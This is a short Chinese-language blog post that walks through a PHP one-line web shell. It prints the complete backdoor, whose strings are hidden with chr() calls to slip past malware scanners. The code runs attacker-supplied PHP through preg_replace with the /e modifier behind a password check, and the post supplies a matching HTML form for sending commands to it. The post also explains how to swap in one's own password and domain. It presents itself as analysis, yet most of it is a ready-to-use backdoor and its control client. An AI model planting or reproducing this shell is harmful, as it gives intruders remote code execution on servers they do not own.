php preg_replace执行一句话木马变形隐藏

无意中得到以下一段代码,就做了一个实例,来对这段代码进行分析研究,木马服务端程序如下:

function getMd5($md5 = null) {
$key = substr(md5($md5),26);
return $key; }
$array = array(
chr(112).chr(97).chr(115).chr(115),
chr(99).chr(104).chr(101).chr(99).chr(107),
chr(48) . chr(102) .chr(56) . chr(56) . chr(51) . chr(101)
);
if ( isset($_POST) ) $request = &$_POST;
elseif ( isset($_REQUEST) ) $request = &$_REQUEST;
if ( isset($request[$array[0]]) && isset($request[$array[1]]) ) {
if ( getMd5($request[$array[0]]) == $array[2] ) {
$token = preg_replace (
chr(47) . $array[2] . chr(47) . chr(101),
$request[$array[1]],
$array[2]
);
}
}

 

其中数据$array打印出来为pass,check,0f883e,作者利用了chr函数把ascii码转化为具体的字符进行代码变形隐藏了真实的代码,有效的防止了木马查杀工具的查杀,这也是黑客惯用的手段之一。

getMd5这个函数的功能是进行了一个简单的身份验证,用以验证客户端输出的密码是否正确。chr(48) . chr(102) .chr(56) . chr(56) . chr(51) . chr(101)执行后为0f883e,这是密码123456加密后的后六位字符(程序设置的密码是123456,可以根据需要把chr(48) . chr(102) .chr(56) . chr(56) . chr(51) . chr(101换成别的)。
$token = preg_replace (
chr(47) . $array[2] . chr(47) . chr(101),
$request[$array[1]],
$array[2]
); 最终变形的结果为preg_replace(“/0f883e/e”,$request["check"],”0f883e”),$request[$array[1]为,$request["check"],这句代码同样用chr函数进行了变形隐藏。

以上是php preg_replace执行一句话木马变形隐藏的全过程的具体分析,preg_replace函数执行php代码的原理是加了e参数。两个/之间的字符可随意。

假设以上代码在服务器上存为t.php。客户端的程序如下:

<form id=”form1″ name=”form1″ method=”post” action=”http://domain/t.php”>
密码:<input type=”text” name=”pass” id=”textfield” /><br />
<textarea name=”check” id=”textfield”></textarea>

要执行的代码:<input type=”submit” name=”button” id=”button” value=”提交” />
</form>
其中”http://domain/换成你实际的域名。我们可以在pass框中输入123456,在文本框中输入你想执行的php语句,例如”phpinfo();”。

京ICP备14008139号-1